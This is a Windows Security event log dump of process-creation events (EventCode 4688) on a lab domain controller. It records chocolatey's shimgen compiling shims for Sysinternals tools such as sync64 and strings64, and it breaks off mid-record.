-ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246870 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe60 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xaf0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246869 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaf0 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ShellRunas.exe" --output="C:\ProgramData\chocolatey\bin\ShellRunas.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ShellRunas.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246868 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe28 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf20 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESAB4.tmp" "c:\ProgramData\chocolatey\bin\CSC818F02BA52F4FC498434C1CF7D3C731.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246912 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5b4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd08 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246911 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd08 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb1c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\sync64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_9112\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_9112\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_9112\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_9112\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_9112\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246910 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x488 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb1c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246909 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb1c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\sync64.exe" --output="C:\ProgramData\chocolatey\bin\sync64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\sync64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246908 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfdc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb08 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES118A.tmp" "c:\ProgramData\chocolatey\bin\CSC82F2CD9F8F54A93BE8554283773CF5E.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246907 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xab0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb08 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246906 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb08 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xcf8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\sync.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_6925\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_6925\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_6925\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_6925\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_6925\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246905 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xae4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xcf8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246904 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf8 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\sync.exe" --output="C:\ProgramData\chocolatey\bin\sync.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\sync.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246903 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf18 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xef0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES10AF.tmp" "c:\ProgramData\chocolatey\bin\CSC65D562158A7A47DE8B4791986FF93D2.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246902 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa98 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xef0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246901 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe2c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\strings64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_4737\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_4737\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_4737\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_4737\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_4737\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246900 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf5c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe2c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246899 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe2c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\strings64.exe" --output="C:\ProgramData\chocolatey\bin\strings64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\strings64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246898 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfcc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc0c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESFD5.tmp" "c:\ProgramData\chocolatey\bin\CSC9CEA1BD0CE2E4D219404693B4BA28C.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User 